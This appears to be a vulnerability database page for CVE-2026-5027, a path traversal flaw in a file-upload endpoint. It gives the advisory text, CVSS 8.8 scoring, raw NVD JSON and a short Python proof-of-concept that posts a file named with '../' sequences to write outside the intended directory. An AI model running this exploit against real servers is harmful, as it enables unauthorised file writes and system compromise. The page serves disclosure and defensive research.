Security Vulnerability Report
中文
CVE-2026-5027 CVSS 8.8 HIGH

CVE-2026-5027

Published: 2026-03-27 15:17:05
Last Modified: 2026-03-30 13:26:30

Description

The 'POST /api/v2/files' endpoint does not sanitize the 'filename' parameter from the multipart form data, allowing an attacker to write files to arbitrary locations on the filesystem using path traversal sequences ('../').

CVSS Details

CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

未知版本

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Target URL target_url = "http://target.com/api/v2/files" # Malicious filename using path traversal filename = "../../../../tmp/poc.txt" # File content file_content = b"Vulnerable to CVE-2026-5027" # Construct multipart form data files = { 'file': (filename, file_content, 'text/plain') } # Send POST request response = requests.post(target_url, files=files) # Check response if response.status_code == 200: print("[+] Exploit successful! File likely written.") else: print("[-] Exploit failed. Status code:", response.status_code)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-5027", "sourceIdentifier": "[email protected]", "published": "2026-03-27T15:17:04.743", "lastModified": "2026-03-30T13:26:29.793", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "The 'POST /api/v2/files' endpoint does not sanitize the 'filename' parameter from the multipart form data, allowing an attacker to write files to arbitrary locations on the filesystem using path traversal sequences ('../')."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-22"}]}], "references": [{"url": "https://www.tenable.com/security/research/tra-2026-26", "source": "[email protected]"}]}}